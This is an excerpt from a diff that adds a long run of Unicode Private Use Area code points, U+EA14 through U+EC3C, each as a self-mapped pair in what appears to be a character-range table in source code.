+ ["\uEA14", "\uEA14"], /* Private Use */
+ ["\uEA15", "\uEA15"], /* Private Use */
+ ["\uEA16", "\uEA16"], /* Private Use */
+ ["\uEA17", "\uEA17"], /* Private Use */
+ ["\uEA18", "\uEA18"], /* Private Use */
+ ["\uEA19", "\uEA19"], /* Private Use */
+ ["\uEA1A", "\uEA1A"], /* Private Use */
+ ["\uEA1B", "\uEA1B"], /* Private Use */
+ ["\uEA1C", "\uEA1C"], /* Private Use */
+ ["\uEA1D", "\uEA1D"], /* Private Use */
+ ["\uEA1E", "\uEA1E"], /* Private Use */
+ ["\uEA1F", "\uEA1F"], /* Private Use */
+ ["\uEA20", "\uEA20"], /* Private Use */
+ ["\uEA21", "\uEA21"], /* Private Use */
+ ["\uEA22", "\uEA22"], /* Private Use */
+ ["\uEA23", "\uEA23"], /* Private Use */
+ ["\uEA24", "\uEA24"], /* Private Use */
+ ["\uEA25", "\uEA25"], /* Private Use */
+ ["\uEA26", "\uEA26"], /* Private Use */
+ ["\uEA27", "\uEA27"], /* Private Use */
+ ["\uEA28", "\uEA28"], /* Private Use */
+ ["\uEA29", "\uEA29"], /* Private Use */
+ ["\uEA2A", "\uEA2A"], /* Private Use */
+ ["\uEA2B", "\uEA2B"], /* Private Use */
+ ["\uEA2C", "\uEA2C"], /* Private Use */
+ ["\uEA2D", "\uEA2D"], /* Private Use */
+ ["\uEA2E", "\uEA2E"], /* Private Use */
+ ["\uEA2F", "\uEA2F"], /* Private Use */
+ ["\uEA30", "\uEA30"], /* Private Use */
+ ["\uEA31", "\uEA31"], /* Private Use */
+ ["\uEA32", "\uEA32"], /* Private Use */
+ ["\uEA33", "\uEA33"], /* Private Use */
+ ["\uEA34", "\uEA34"], /* Private Use */
+ ["\uEA35", "\uEA35"], /* Private Use */
+ ["\uEA36", "\uEA36"], /* Private Use */
+ ["\uEA37", "\uEA37"], /* Private Use */
+ ["\uEA38", "\uEA38"], /* Private Use */
+ ["\uEA39", "\uEA39"], /* Private Use */
+ ["\uEA3A", "\uEA3A"], /* Private Use */
+ ["\uEA3B", "\uEA3B"], /* Private Use */
+ ["\uEA3C", "\uEA3C"], /* Private Use */
+ ["\uEA3D", "\uEA3D"], /* Private Use */
+ ["\uEA3E", "\uEA3E"], /* Private Use */
+ ["\uEA3F", "\uEA3F"], /* Private Use */
+ ["\uEA40", "\uEA40"], /* Private Use */
+ ["\uEA41", "\uEA41"], /* Private Use */
+ ["\uEA42", "\uEA42"], /* Private Use */
+ ["\uEA43", "\uEA43"], /* Private Use */
+ ["\uEA44", "\uEA44"], /* Private Use */
+ ["\uEA45", "\uEA45"], /* Private Use */
+ ["\uEA46", "\uEA46"], /* Private Use */
+ ["\uEA47", "\uEA47"], /* Private Use */
+ ["\uEA48", "\uEA48"], /* Private Use */
+ ["\uEA49", "\uEA49"], /* Private Use */
+ ["\uEA4A", "\uEA4A"], /* Private Use */
+ ["\uEA4B", "\uEA4B"], /* Private Use */
+ ["\uEA4C", "\uEA4C"], /* Private Use */
+ ["\uEA4D", "\uEA4D"], /* Private Use */
+ ["\uEA4E", "\uEA4E"], /* Private Use */
+ ["\uEA4F", "\uEA4F"], /* Private Use */
+ ["\uEA50", "\uEA50"], /* Private Use */
+ ["\uEA51", "\uEA51"], /* Private Use */
+ ["\uEA52", "\uEA52"], /* Private Use */
+ ["\uEA53", "\uEA53"], /* Private Use */
+ ["\uEA54", "\uEA54"], /* Private Use */
+ ["\uEA55", "\uEA55"], /* Private Use */
+ ["\uEA56", "\uEA56"], /* Private Use */
+ ["\uEA57", "\uEA57"], /* Private Use */
+ ["\uEA58", "\uEA58"], /* Private Use */
+ ["\uEA59", "\uEA59"], /* Private Use */
+ ["\uEA5A", "\uEA5A"], /* Private Use */
+ ["\uEA5B", "\uEA5B"], /* Private Use */
+ ["\uEA5C", "\uEA5C"], /* Private Use */
+ ["\uEA5D", "\uEA5D"], /* Private Use */
+ ["\uEA5E", "\uEA5E"], /* Private Use */
+ ["\uEA5F", "\uEA5F"], /* Private Use */
+ ["\uEA60", "\uEA60"], /* Private Use */
+ ["\uEA61", "\uEA61"], /* Private Use */
+ ["\uEA62", "\uEA62"], /* Private Use */
+ ["\uEA63", "\uEA63"], /* Private Use */
+ ["\uEA64", "\uEA64"], /* Private Use */
+ ["\uEA65", "\uEA65"], /* Private Use */
+ ["\uEA66", "\uEA66"], /* Private Use */
+ ["\uEA67", "\uEA67"], /* Private Use */
+ ["\uEA68", "\uEA68"], /* Private Use */
+ ["\uEA69", "\uEA69"], /* Private Use */
+ ["\uEA6A", "\uEA6A"], /* Private Use */
+ ["\uEA6B", "\uEA6B"], /* Private Use */
+ ["\uEA6C", "\uEA6C"], /* Private Use */
+ ["\uEA6D", "\uEA6D"], /* Private Use */
+ ["\uEA6E", "\uEA6E"], /* Private Use */
+ ["\uEA6F", "\uEA6F"], /* Private Use */
+ ["\uEA70", "\uEA70"], /* Private Use */
+ ["\uEA71", "\uEA71"], /* Private Use */
+ ["\uEA72", "\uEA72"], /* Private Use */
+ ["\uEA73", "\uEA73"], /* Private Use */
+ ["\uEA74", "\uEA74"], /* Private Use */
+ ["\uEA75", "\uEA75"], /* Private Use */
+ ["\uEA76", "\uEA76"], /* Private Use */
+ ["\uEA77", "\uEA77"], /* Private Use */
+ ["\uEA78", "\uEA78"], /* Private Use */
+ ["\uEA79", "\uEA79"], /* Private Use */
+ ["\uEA7A", "\uEA7A"], /* Private Use */
+ ["\uEA7B", "\uEA7B"], /* Private Use */
+ ["\uEA7C", "\uEA7C"], /* Private Use */
+ ["\uEA7D", "\uEA7D"], /* Private Use */
+ ["\uEA7E", "\uEA7E"], /* Private Use */
+ ["\uEA7F", "\uEA7F"], /* Private Use */
+ ["\uEA80", "\uEA80"], /* Private Use */
+ ["\uEA81", "\uEA81"], /* Private Use */
+ ["\uEA82", "\uEA82"], /* Private Use */
+ ["\uEA83", "\uEA83"], /* Private Use */
+ ["\uEA84", "\uEA84"], /* Private Use */
+ ["\uEA85", "\uEA85"], /* Private Use */
+ ["\uEA86", "\uEA86"], /* Private Use */
+ ["\uEA87", "\uEA87"], /* Private Use */
+ ["\uEA88", "\uEA88"], /* Private Use */
+ ["\uEA89", "\uEA89"], /* Private Use */
+ ["\uEA8A", "\uEA8A"], /* Private Use */
+ ["\uEA8B", "\uEA8B"], /* Private Use */
+ ["\uEA8C", "\uEA8C"], /* Private Use */
+ ["\uEA8D", "\uEA8D"], /* Private Use */
+ ["\uEA8E", "\uEA8E"], /* Private Use */
+ ["\uEA8F", "\uEA8F"], /* Private Use */
+ ["\uEA90", "\uEA90"], /* Private Use */
+ ["\uEA91", "\uEA91"], /* Private Use */
+ ["\uEA92", "\uEA92"], /* Private Use */
+ ["\uEA93", "\uEA93"], /* Private Use */
+ ["\uEA94", "\uEA94"], /* Private Use */
+ ["\uEA95", "\uEA95"], /* Private Use */
+ ["\uEA96", "\uEA96"], /* Private Use */
+ ["\uEA97", "\uEA97"], /* Private Use */
+ ["\uEA98", "\uEA98"], /* Private Use */
+ ["\uEA99", "\uEA99"], /* Private Use */
+ ["\uEA9A", "\uEA9A"], /* Private Use */
+ ["\uEA9B", "\uEA9B"], /* Private Use */
+ ["\uEA9C", "\uEA9C"], /* Private Use */
+ ["\uEA9D", "\uEA9D"], /* Private Use */
+ ["\uEA9E", "\uEA9E"], /* Private Use */
+ ["\uEA9F", "\uEA9F"], /* Private Use */
+ ["\uEAA0", "\uEAA0"], /* Private Use */
+ ["\uEAA1", "\uEAA1"], /* Private Use */
+ ["\uEAA2", "\uEAA2"], /* Private Use */
+ ["\uEAA3", "\uEAA3"], /* Private Use */
+ ["\uEAA4", "\uEAA4"], /* Private Use */
+ ["\uEAA5", "\uEAA5"], /* Private Use */
+ ["\uEAA6", "\uEAA6"], /* Private Use */
+ ["\uEAA7", "\uEAA7"], /* Private Use */
+ ["\uEAA8", "\uEAA8"], /* Private Use */
+ ["\uEAA9", "\uEAA9"], /* Private Use */
+ ["\uEAAA", "\uEAAA"], /* Private Use */
+ ["\uEAAB", "\uEAAB"], /* Private Use */
+ ["\uEAAC", "\uEAAC"], /* Private Use */
+ ["\uEAAD", "\uEAAD"], /* Private Use */
+ ["\uEAAE", "\uEAAE"], /* Private Use */
+ ["\uEAAF", "\uEAAF"], /* Private Use */
+ ["\uEAB0", "\uEAB0"], /* Private Use */
+ ["\uEAB1", "\uEAB1"], /* Private Use */
+ ["\uEAB2", "\uEAB2"], /* Private Use */
+ ["\uEAB3", "\uEAB3"], /* Private Use */
+ ["\uEAB4", "\uEAB4"], /* Private Use */
+ ["\uEAB5", "\uEAB5"], /* Private Use */
+ ["\uEAB6", "\uEAB6"], /* Private Use */
+ ["\uEAB7", "\uEAB7"], /* Private Use */
+ ["\uEAB8", "\uEAB8"], /* Private Use */
+ ["\uEAB9", "\uEAB9"], /* Private Use */
+ ["\uEABA", "\uEABA"], /* Private Use */
+ ["\uEABB", "\uEABB"], /* Private Use */
+ ["\uEABC", "\uEABC"], /* Private Use */
+ ["\uEABD", "\uEABD"], /* Private Use */
+ ["\uEABE", "\uEABE"], /* Private Use */
+ ["\uEABF", "\uEABF"], /* Private Use */
+ ["\uEAC0", "\uEAC0"], /* Private Use */
+ ["\uEAC1", "\uEAC1"], /* Private Use */
+ ["\uEAC2", "\uEAC2"], /* Private Use */
+ ["\uEAC3", "\uEAC3"], /* Private Use */
+ ["\uEAC4", "\uEAC4"], /* Private Use */
+ ["\uEAC5", "\uEAC5"], /* Private Use */
+ ["\uEAC6", "\uEAC6"], /* Private Use */
+ ["\uEAC7", "\uEAC7"], /* Private Use */
+ ["\uEAC8", "\uEAC8"], /* Private Use */
+ ["\uEAC9", "\uEAC9"], /* Private Use */
+ ["\uEACA", "\uEACA"], /* Private Use */
+ ["\uEACB", "\uEACB"], /* Private Use */
+ ["\uEACC", "\uEACC"], /* Private Use */
+ ["\uEACD", "\uEACD"], /* Private Use */
+ ["\uEACE", "\uEACE"], /* Private Use */
+ ["\uEACF", "\uEACF"], /* Private Use */
+ ["\uEAD0", "\uEAD0"], /* Private Use */
+ ["\uEAD1", "\uEAD1"], /* Private Use */
+ ["\uEAD2", "\uEAD2"], /* Private Use */
+ ["\uEAD3", "\uEAD3"], /* Private Use */
+ ["\uEAD4", "\uEAD4"], /* Private Use */
+ ["\uEAD5", "\uEAD5"], /* Private Use */
+ ["\uEAD6", "\uEAD6"], /* Private Use */
+ ["\uEAD7", "\uEAD7"], /* Private Use */
+ ["\uEAD8", "\uEAD8"], /* Private Use */
+ ["\uEAD9", "\uEAD9"], /* Private Use */
+ ["\uEADA", "\uEADA"], /* Private Use */
+ ["\uEADB", "\uEADB"], /* Private Use */
+ ["\uEADC", "\uEADC"], /* Private Use */
+ ["\uEADD", "\uEADD"], /* Private Use */
+ ["\uEADE", "\uEADE"], /* Private Use */
+ ["\uEADF", "\uEADF"], /* Private Use */
+ ["\uEAE0", "\uEAE0"], /* Private Use */
+ ["\uEAE1", "\uEAE1"], /* Private Use */
+ ["\uEAE2", "\uEAE2"], /* Private Use */
+ ["\uEAE3", "\uEAE3"], /* Private Use */
+ ["\uEAE4", "\uEAE4"], /* Private Use */
+ ["\uEAE5", "\uEAE5"], /* Private Use */
+ ["\uEAE6", "\uEAE6"], /* Private Use */
+ ["\uEAE7", "\uEAE7"], /* Private Use */
+ ["\uEAE8", "\uEAE8"], /* Private Use */
+ ["\uEAE9", "\uEAE9"], /* Private Use */
+ ["\uEAEA", "\uEAEA"], /* Private Use */
+ ["\uEAEB", "\uEAEB"], /* Private Use */
+ ["\uEAEC", "\uEAEC"], /* Private Use */
+ ["\uEAED", "\uEAED"], /* Private Use */
+ ["\uEAEE", "\uEAEE"], /* Private Use */
+ ["\uEAEF", "\uEAEF"], /* Private Use */
+ ["\uEAF0", "\uEAF0"], /* Private Use */
+ ["\uEAF1", "\uEAF1"], /* Private Use */
+ ["\uEAF2", "\uEAF2"], /* Private Use */
+ ["\uEAF3", "\uEAF3"], /* Private Use */
+ ["\uEAF4", "\uEAF4"], /* Private Use */
+ ["\uEAF5", "\uEAF5"], /* Private Use */
+ ["\uEAF6", "\uEAF6"], /* Private Use */
+ ["\uEAF7", "\uEAF7"], /* Private Use */
+ ["\uEAF8", "\uEAF8"], /* Private Use */
+ ["\uEAF9", "\uEAF9"], /* Private Use */
+ ["\uEAFA", "\uEAFA"], /* Private Use */
+ ["\uEAFB", "\uEAFB"], /* Private Use */
+ ["\uEAFC", "\uEAFC"], /* Private Use */
+ ["\uEAFD", "\uEAFD"], /* Private Use */
+ ["\uEAFE", "\uEAFE"], /* Private Use */
+ ["\uEAFF", "\uEAFF"], /* Private Use */
+ ["\uEB00", "\uEB00"], /* Private Use */
+ ["\uEB01", "\uEB01"], /* Private Use */
+ ["\uEB02", "\uEB02"], /* Private Use */
+ ["\uEB03", "\uEB03"], /* Private Use */
+ ["\uEB04", "\uEB04"], /* Private Use */
+ ["\uEB05", "\uEB05"], /* Private Use */
+ ["\uEB06", "\uEB06"], /* Private Use */
+ ["\uEB07", "\uEB07"], /* Private Use */
+ ["\uEB08", "\uEB08"], /* Private Use */
+ ["\uEB09", "\uEB09"], /* Private Use */
+ ["\uEB0A", "\uEB0A"], /* Private Use */
+ ["\uEB0B", "\uEB0B"], /* Private Use */
+ ["\uEB0C", "\uEB0C"], /* Private Use */
+ ["\uEB0D", "\uEB0D"], /* Private Use */
+ ["\uEB0E", "\uEB0E"], /* Private Use */
+ ["\uEB0F", "\uEB0F"], /* Private Use */
+ ["\uEB10", "\uEB10"], /* Private Use */
+ ["\uEB11", "\uEB11"], /* Private Use */
+ ["\uEB12", "\uEB12"], /* Private Use */
+ ["\uEB13", "\uEB13"], /* Private Use */
+ ["\uEB14", "\uEB14"], /* Private Use */
+ ["\uEB15", "\uEB15"], /* Private Use */
+ ["\uEB16", "\uEB16"], /* Private Use */
+ ["\uEB17", "\uEB17"], /* Private Use */
+ ["\uEB18", "\uEB18"], /* Private Use */
+ ["\uEB19", "\uEB19"], /* Private Use */
+ ["\uEB1A", "\uEB1A"], /* Private Use */
+ ["\uEB1B", "\uEB1B"], /* Private Use */
+ ["\uEB1C", "\uEB1C"], /* Private Use */
+ ["\uEB1D", "\uEB1D"], /* Private Use */
+ ["\uEB1E", "\uEB1E"], /* Private Use */
+ ["\uEB1F", "\uEB1F"], /* Private Use */
+ ["\uEB20", "\uEB20"], /* Private Use */
+ ["\uEB21", "\uEB21"], /* Private Use */
+ ["\uEB22", "\uEB22"], /* Private Use */
+ ["\uEB23", "\uEB23"], /* Private Use */
+ ["\uEB24", "\uEB24"], /* Private Use */
+ ["\uEB25", "\uEB25"], /* Private Use */
+ ["\uEB26", "\uEB26"], /* Private Use */
+ ["\uEB27", "\uEB27"], /* Private Use */
+ ["\uEB28", "\uEB28"], /* Private Use */
+ ["\uEB29", "\uEB29"], /* Private Use */
+ ["\uEB2A", "\uEB2A"], /* Private Use */
+ ["\uEB2B", "\uEB2B"], /* Private Use */
+ ["\uEB2C", "\uEB2C"], /* Private Use */
+ ["\uEB2D", "\uEB2D"], /* Private Use */
+ ["\uEB2E", "\uEB2E"], /* Private Use */
+ ["\uEB2F", "\uEB2F"], /* Private Use */
+ ["\uEB30", "\uEB30"], /* Private Use */
+ ["\uEB31", "\uEB31"], /* Private Use */
+ ["\uEB32", "\uEB32"], /* Private Use */
+ ["\uEB33", "\uEB33"], /* Private Use */
+ ["\uEB34", "\uEB34"], /* Private Use */
+ ["\uEB35", "\uEB35"], /* Private Use */
+ ["\uEB36", "\uEB36"], /* Private Use */
+ ["\uEB37", "\uEB37"], /* Private Use */
+ ["\uEB38", "\uEB38"], /* Private Use */
+ ["\uEB39", "\uEB39"], /* Private Use */
+ ["\uEB3A", "\uEB3A"], /* Private Use */
+ ["\uEB3B", "\uEB3B"], /* Private Use */
+ ["\uEB3C", "\uEB3C"], /* Private Use */
+ ["\uEB3D", "\uEB3D"], /* Private Use */
+ ["\uEB3E", "\uEB3E"], /* Private Use */
+ ["\uEB3F", "\uEB3F"], /* Private Use */
+ ["\uEB40", "\uEB40"], /* Private Use */
+ ["\uEB41", "\uEB41"], /* Private Use */
+ ["\uEB42", "\uEB42"], /* Private Use */
+ ["\uEB43", "\uEB43"], /* Private Use */
+ ["\uEB44", "\uEB44"], /* Private Use */
+ ["\uEB45", "\uEB45"], /* Private Use */
+ ["\uEB46", "\uEB46"], /* Private Use */
+ ["\uEB47", "\uEB47"], /* Private Use */
+ ["\uEB48", "\uEB48"], /* Private Use */
+ ["\uEB49", "\uEB49"], /* Private Use */
+ ["\uEB4A", "\uEB4A"], /* Private Use */
+ ["\uEB4B", "\uEB4B"], /* Private Use */
+ ["\uEB4C", "\uEB4C"], /* Private Use */
+ ["\uEB4D", "\uEB4D"], /* Private Use */
+ ["\uEB4E", "\uEB4E"], /* Private Use */
+ ["\uEB4F", "\uEB4F"], /* Private Use */
+ ["\uEB50", "\uEB50"], /* Private Use */
+ ["\uEB51", "\uEB51"], /* Private Use */
+ ["\uEB52", "\uEB52"], /* Private Use */
+ ["\uEB53", "\uEB53"], /* Private Use */
+ ["\uEB54", "\uEB54"], /* Private Use */
+ ["\uEB55", "\uEB55"], /* Private Use */
+ ["\uEB56", "\uEB56"], /* Private Use */
+ ["\uEB57", "\uEB57"], /* Private Use */
+ ["\uEB58", "\uEB58"], /* Private Use */
+ ["\uEB59", "\uEB59"], /* Private Use */
+ ["\uEB5A", "\uEB5A"], /* Private Use */
+ ["\uEB5B", "\uEB5B"], /* Private Use */
+ ["\uEB5C", "\uEB5C"], /* Private Use */
+ ["\uEB5D", "\uEB5D"], /* Private Use */
+ ["\uEB5E", "\uEB5E"], /* Private Use */
+ ["\uEB5F", "\uEB5F"], /* Private Use */
+ ["\uEB60", "\uEB60"], /* Private Use */
+ ["\uEB61", "\uEB61"], /* Private Use */
+ ["\uEB62", "\uEB62"], /* Private Use */
+ ["\uEB63", "\uEB63"], /* Private Use */
+ ["\uEB64", "\uEB64"], /* Private Use */
+ ["\uEB65", "\uEB65"], /* Private Use */
+ ["\uEB66", "\uEB66"], /* Private Use */
+ ["\uEB67", "\uEB67"], /* Private Use */
+ ["\uEB68", "\uEB68"], /* Private Use */
+ ["\uEB69", "\uEB69"], /* Private Use */
+ ["\uEB6A", "\uEB6A"], /* Private Use */
+ ["\uEB6B", "\uEB6B"], /* Private Use */
+ ["\uEB6C", "\uEB6C"], /* Private Use */
+ ["\uEB6D", "\uEB6D"], /* Private Use */
+ ["\uEB6E", "\uEB6E"], /* Private Use */
+ ["\uEB6F", "\uEB6F"], /* Private Use */
+ ["\uEB70", "\uEB70"], /* Private Use */
+ ["\uEB71", "\uEB71"], /* Private Use */
+ ["\uEB72", "\uEB72"], /* Private Use */
+ ["\uEB73", "\uEB73"], /* Private Use */
+ ["\uEB74", "\uEB74"], /* Private Use */
+ ["\uEB75", "\uEB75"], /* Private Use */
+ ["\uEB76", "\uEB76"], /* Private Use */
+ ["\uEB77", "\uEB77"], /* Private Use */
+ ["\uEB78", "\uEB78"], /* Private Use */
+ ["\uEB79", "\uEB79"], /* Private Use */
+ ["\uEB7A", "\uEB7A"], /* Private Use */
+ ["\uEB7B", "\uEB7B"], /* Private Use */
+ ["\uEB7C", "\uEB7C"], /* Private Use */
+ ["\uEB7D", "\uEB7D"], /* Private Use */
+ ["\uEB7E", "\uEB7E"], /* Private Use */
+ ["\uEB7F", "\uEB7F"], /* Private Use */
+ ["\uEB80", "\uEB80"], /* Private Use */
+ ["\uEB81", "\uEB81"], /* Private Use */
+ ["\uEB82", "\uEB82"], /* Private Use */
+ ["\uEB83", "\uEB83"], /* Private Use */
+ ["\uEB84", "\uEB84"], /* Private Use */
+ ["\uEB85", "\uEB85"], /* Private Use */
+ ["\uEB86", "\uEB86"], /* Private Use */
+ ["\uEB87", "\uEB87"], /* Private Use */
+ ["\uEB88", "\uEB88"], /* Private Use */
+ ["\uEB89", "\uEB89"], /* Private Use */
+ ["\uEB8A", "\uEB8A"], /* Private Use */
+ ["\uEB8B", "\uEB8B"], /* Private Use */
+ ["\uEB8C", "\uEB8C"], /* Private Use */
+ ["\uEB8D", "\uEB8D"], /* Private Use */
+ ["\uEB8E", "\uEB8E"], /* Private Use */
+ ["\uEB8F", "\uEB8F"], /* Private Use */
+ ["\uEB90", "\uEB90"], /* Private Use */
+ ["\uEB91", "\uEB91"], /* Private Use */
+ ["\uEB92", "\uEB92"], /* Private Use */
+ ["\uEB93", "\uEB93"], /* Private Use */
+ ["\uEB94", "\uEB94"], /* Private Use */
+ ["\uEB95", "\uEB95"], /* Private Use */
+ ["\uEB96", "\uEB96"], /* Private Use */
+ ["\uEB97", "\uEB97"], /* Private Use */
+ ["\uEB98", "\uEB98"], /* Private Use */
+ ["\uEB99", "\uEB99"], /* Private Use */
+ ["\uEB9A", "\uEB9A"], /* Private Use */
+ ["\uEB9B", "\uEB9B"], /* Private Use */
+ ["\uEB9C", "\uEB9C"], /* Private Use */
+ ["\uEB9D", "\uEB9D"], /* Private Use */
+ ["\uEB9E", "\uEB9E"], /* Private Use */
+ ["\uEB9F", "\uEB9F"], /* Private Use */
+ ["\uEBA0", "\uEBA0"], /* Private Use */
+ ["\uEBA1", "\uEBA1"], /* Private Use */
+ ["\uEBA2", "\uEBA2"], /* Private Use */
+ ["\uEBA3", "\uEBA3"], /* Private Use */
+ ["\uEBA4", "\uEBA4"], /* Private Use */
+ ["\uEBA5", "\uEBA5"], /* Private Use */
+ ["\uEBA6", "\uEBA6"], /* Private Use */
+ ["\uEBA7", "\uEBA7"], /* Private Use */
+ ["\uEBA8", "\uEBA8"], /* Private Use */
+ ["\uEBA9", "\uEBA9"], /* Private Use */
+ ["\uEBAA", "\uEBAA"], /* Private Use */
+ ["\uEBAB", "\uEBAB"], /* Private Use */
+ ["\uEBAC", "\uEBAC"], /* Private Use */
+ ["\uEBAD", "\uEBAD"], /* Private Use */
+ ["\uEBAE", "\uEBAE"], /* Private Use */
+ ["\uEBAF", "\uEBAF"], /* Private Use */
+ ["\uEBB0", "\uEBB0"], /* Private Use */
+ ["\uEBB1", "\uEBB1"], /* Private Use */
+ ["\uEBB2", "\uEBB2"], /* Private Use */
+ ["\uEBB3", "\uEBB3"], /* Private Use */
+ ["\uEBB4", "\uEBB4"], /* Private Use */
+ ["\uEBB5", "\uEBB5"], /* Private Use */
+ ["\uEBB6", "\uEBB6"], /* Private Use */
+ ["\uEBB7", "\uEBB7"], /* Private Use */
+ ["\uEBB8", "\uEBB8"], /* Private Use */
+ ["\uEBB9", "\uEBB9"], /* Private Use */
+ ["\uEBBA", "\uEBBA"], /* Private Use */
+ ["\uEBBB", "\uEBBB"], /* Private Use */
+ ["\uEBBC", "\uEBBC"], /* Private Use */
+ ["\uEBBD", "\uEBBD"], /* Private Use */
+ ["\uEBBE", "\uEBBE"], /* Private Use */
+ ["\uEBBF", "\uEBBF"], /* Private Use */
+ ["\uEBC0", "\uEBC0"], /* Private Use */
+ ["\uEBC1", "\uEBC1"], /* Private Use */
+ ["\uEBC2", "\uEBC2"], /* Private Use */
+ ["\uEBC3", "\uEBC3"], /* Private Use */
+ ["\uEBC4", "\uEBC4"], /* Private Use */
+ ["\uEBC5", "\uEBC5"], /* Private Use */
+ ["\uEBC6", "\uEBC6"], /* Private Use */
+ ["\uEBC7", "\uEBC7"], /* Private Use */
+ ["\uEBC8", "\uEBC8"], /* Private Use */
+ ["\uEBC9", "\uEBC9"], /* Private Use */
+ ["\uEBCA", "\uEBCA"], /* Private Use */
+ ["\uEBCB", "\uEBCB"], /* Private Use */
+ ["\uEBCC", "\uEBCC"], /* Private Use */
+ ["\uEBCD", "\uEBCD"], /* Private Use */
+ ["\uEBCE", "\uEBCE"], /* Private Use */
+ ["\uEBCF", "\uEBCF"], /* Private Use */
+ ["\uEBD0", "\uEBD0"], /* Private Use */
+ ["\uEBD1", "\uEBD1"], /* Private Use */
+ ["\uEBD2", "\uEBD2"], /* Private Use */
+ ["\uEBD3", "\uEBD3"], /* Private Use */
+ ["\uEBD4", "\uEBD4"], /* Private Use */
+ ["\uEBD5", "\uEBD5"], /* Private Use */
+ ["\uEBD6", "\uEBD6"], /* Private Use */
+ ["\uEBD7", "\uEBD7"], /* Private Use */
+ ["\uEBD8", "\uEBD8"], /* Private Use */
+ ["\uEBD9", "\uEBD9"], /* Private Use */
+ ["\uEBDA", "\uEBDA"], /* Private Use */
+ ["\uEBDB", "\uEBDB"], /* Private Use */
+ ["\uEBDC", "\uEBDC"], /* Private Use */
+ ["\uEBDD", "\uEBDD"], /* Private Use */
+ ["\uEBDE", "\uEBDE"], /* Private Use */
+ ["\uEBDF", "\uEBDF"], /* Private Use */
+ ["\uEBE0", "\uEBE0"], /* Private Use */
+ ["\uEBE1", "\uEBE1"], /* Private Use */
+ ["\uEBE2", "\uEBE2"], /* Private Use */
+ ["\uEBE3", "\uEBE3"], /* Private Use */
+ ["\uEBE4", "\uEBE4"], /* Private Use */
+ ["\uEBE5", "\uEBE5"], /* Private Use */
+ ["\uEBE6", "\uEBE6"], /* Private Use */
+ ["\uEBE7", "\uEBE7"], /* Private Use */
+ ["\uEBE8", "\uEBE8"], /* Private Use */
+ ["\uEBE9", "\uEBE9"], /* Private Use */
+ ["\uEBEA", "\uEBEA"], /* Private Use */
+ ["\uEBEB", "\uEBEB"], /* Private Use */
+ ["\uEBEC", "\uEBEC"], /* Private Use */
+ ["\uEBED", "\uEBED"], /* Private Use */
+ ["\uEBEE", "\uEBEE"], /* Private Use */
+ ["\uEBEF", "\uEBEF"], /* Private Use */
+ ["\uEBF0", "\uEBF0"], /* Private Use */
+ ["\uEBF1", "\uEBF1"], /* Private Use */
+ ["\uEBF2", "\uEBF2"], /* Private Use */
+ ["\uEBF3", "\uEBF3"], /* Private Use */
+ ["\uEBF4", "\uEBF4"], /* Private Use */
+ ["\uEBF5", "\uEBF5"], /* Private Use */
+ ["\uEBF6", "\uEBF6"], /* Private Use */
+ ["\uEBF7", "\uEBF7"], /* Private Use */
+ ["\uEBF8", "\uEBF8"], /* Private Use */
+ ["\uEBF9", "\uEBF9"], /* Private Use */
+ ["\uEBFA", "\uEBFA"], /* Private Use */
+ ["\uEBFB", "\uEBFB"], /* Private Use */
+ ["\uEBFC", "\uEBFC"], /* Private Use */
+ ["\uEBFD", "\uEBFD"], /* Private Use */
+ ["\uEBFE", "\uEBFE"], /* Private Use */
+ ["\uEBFF", "\uEBFF"], /* Private Use */
+ ["\uEC00", "\uEC00"], /* Private Use */
+ ["\uEC01", "\uEC01"], /* Private Use */
+ ["\uEC02", "\uEC02"], /* Private Use */
+ ["\uEC03", "\uEC03"], /* Private Use */
+ ["\uEC04", "\uEC04"], /* Private Use */
+ ["\uEC05", "\uEC05"], /* Private Use */
+ ["\uEC06", "\uEC06"], /* Private Use */
+ ["\uEC07", "\uEC07"], /* Private Use */
+ ["\uEC08", "\uEC08"], /* Private Use */
+ ["\uEC09", "\uEC09"], /* Private Use */
+ ["\uEC0A", "\uEC0A"], /* Private Use */
+ ["\uEC0B", "\uEC0B"], /* Private Use */
+ ["\uEC0C", "\uEC0C"], /* Private Use */
+ ["\uEC0D", "\uEC0D"], /* Private Use */
+ ["\uEC0E", "\uEC0E"], /* Private Use */
+ ["\uEC0F", "\uEC0F"], /* Private Use */
+ ["\uEC10", "\uEC10"], /* Private Use */
+ ["\uEC11", "\uEC11"], /* Private Use */
+ ["\uEC12", "\uEC12"], /* Private Use */
+ ["\uEC13", "\uEC13"], /* Private Use */
+ ["\uEC14", "\uEC14"], /* Private Use */
+ ["\uEC15", "\uEC15"], /* Private Use */
+ ["\uEC16", "\uEC16"], /* Private Use */
+ ["\uEC17", "\uEC17"], /* Private Use */
+ ["\uEC18", "\uEC18"], /* Private Use */
+ ["\uEC19", "\uEC19"], /* Private Use */
+ ["\uEC1A", "\uEC1A"], /* Private Use */
+ ["\uEC1B", "\uEC1B"], /* Private Use */
+ ["\uEC1C", "\uEC1C"], /* Private Use */
+ ["\uEC1D", "\uEC1D"], /* Private Use */
+ ["\uEC1E", "\uEC1E"], /* Private Use */
+ ["\uEC1F", "\uEC1F"], /* Private Use */
+ ["\uEC20", "\uEC20"], /* Private Use */
+ ["\uEC21", "\uEC21"], /* Private Use */
+ ["\uEC22", "\uEC22"], /* Private Use */
+ ["\uEC23", "\uEC23"], /* Private Use */
+ ["\uEC24", "\uEC24"], /* Private Use */
+ ["\uEC25", "\uEC25"], /* Private Use */
+ ["\uEC26", "\uEC26"], /* Private Use */
+ ["\uEC27", "\uEC27"], /* Private Use */
+ ["\uEC28", "\uEC28"], /* Private Use */
+ ["\uEC29", "\uEC29"], /* Private Use */
+ ["\uEC2A", "\uEC2A"], /* Private Use */
+ ["\uEC2B", "\uEC2B"], /* Private Use */
+ ["\uEC2C", "\uEC2C"], /* Private Use */
+ ["\uEC2D", "\uEC2D"], /* Private Use */
+ ["\uEC2E", "\uEC2E"], /* Private Use */
+ ["\uEC2F", "\uEC2F"], /* Private Use */
+ ["\uEC30", "\uEC30"], /* Private Use */
+ ["\uEC31", "\uEC31"], /* Private Use */
+ ["\uEC32", "\uEC32"], /* Private Use */
+ ["\uEC33", "\uEC33"], /* Private Use */
+ ["\uEC34", "\uEC34"], /* Private Use */
+ ["\uEC35", "\uEC35"], /* Private Use */
+ ["\uEC36", "\uEC36"], /* Private Use */
+ ["\uEC37", "\uEC37"], /* Private Use */
+ ["\uEC38", "\uEC38"], /* Private Use */
+ ["\uEC39", "\uEC39"], /* Private Use */
+ ["\uEC3A", "\uEC3A"], /* Private Use */
+ ["\uEC3B", "\uEC3B"], /* Private Use */
+ ["\uEC3C", "\uEC3C"], /* Private Use */
